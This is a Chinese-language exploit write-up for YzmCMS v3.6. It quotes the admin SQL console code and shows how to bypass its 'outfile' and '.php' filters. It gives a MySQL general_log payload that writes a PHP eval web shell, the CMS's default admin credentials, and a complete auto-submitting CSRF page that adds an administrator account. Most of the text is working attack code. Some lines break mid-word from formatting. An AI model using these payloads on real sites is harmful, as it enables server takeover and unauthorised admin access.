YzmCMS v3.6 csrf

一、漏洞简介

二、漏洞影响

YzmCMS v3.6

三、复现过程

1、文件位置: /application/admin/controller/sql.class.php 第 10-42 行中：

```
public function init() {
    if(isset($_POST['sqlstr'])){
        if(!C('sql_execute')) showmsg('根据系统配置，不允许在线执行 SQL 命
令！', 'stop');
        $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) :
$_POST['sqlstr'];
        $sqlstr = rtrim(trim($sqlstr), ';');
        $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : arra
y(0 => $sqlstr);

        $admin = D('admin');
        foreach($sqls as $sql){
10.             if(stristr($sql, 'outfile')){
11.                 $str = '<span class="c-red">ERROR : 检测到非法字符
“outfile”! </span>';
12.                 break;
13.             }
14.             if(stristr($sql, '.php')){
15.                 $str = '<span class="c-red">ERROR : 检测到非法字符 “.
php” ! </span>';
16.                 break;
17.             }
18.             if(preg_match("/^drop(.*)database/i", $sql)){
19.                 $str = '<span class="c-red">ERROR : 不允许删除数据库!
</span>';
20.                 break;
21.             }
22.             $result = $admin->query($sql);
23.             if($result){
24.                 $str = '<span style="color:green">OK : 执行成功! </s
pan>';
25.                 if(is_object($result) || is_resource($result)){
26.                     $arr = $admin->fetch_all($result);
27.                 }
28.             }else{
```

```
29.                 $str = '<span class="c-red">ERROR : 执行失败! </span>
';
30.                 break;
31.             }
32.         }
33.     }
```

这段函数中对提交的 sql 参数进行还原处理，然后进行非法字符检测，检测字符是否存在”oufile”、”.php”,匹配是否有删除数据的操作等。

2、如何绕过这种限制？

首页，outfile 被禁止，第一时间想到的就是 SQL 语句利用日志写入文件，但是写入脚本文件”.php”会被检测到非法字符；然后，尝试 MySQL 中 concat 函数来连接字符串，拆分’.php’关键词，如 CONCAT("test.","php");最后构造出可以写入文件，绕过非法字符检测的的 SQL 语句，从而触发代码执行漏洞，控制服务器。

Payload：

```
show variables like '%general%';   #查看配置
set global general_log = on;         #开启 general log 模式
set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","ph
p");
select '<?php eval($_POST[cmd]);?>';   #写入 shell
```


漏洞复现

如何获取后台管理员权限

有两种思路：

思路 A：通过默认信息，弱口令登录

默认后台路径：http://www.0-sec.org/admin/index/login.html

管理员默认账号密码均为：yzmcms

思路 B：通过 CSRF 漏洞，诱导管理员访问，自动在后台添加管理员账号。

CSRF 漏洞利用代码如下：

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "68" );
```

```
function pausecomp(millis)

{

    var date = new Date();
   var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}


function fireForms()

{

    var count = 1;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();

        pausecomp(pauses[i]);
    }
}


</script>

<H2>OWASP CRSFTester Demonstration</H2>

<form method="POST" name="form0" action="http://127.0.0.1:80/admin/adm
in_manage/add.html">

<input type="hidden" name="adminname" value="admin"/>

<input type="hidden" name="password" value="abc123!"/>

<input type="hidden" name="password2" value="abc123!"/>

<input type="hidden" name="email" value=""/>

<input type="hidden" name="realname" value=""/>

<input type="hidden" name="roleid" value="1"/>
```

```
<input type="hidden" name="dosubmit" value="1"/>

</form>

</body>

</html>
```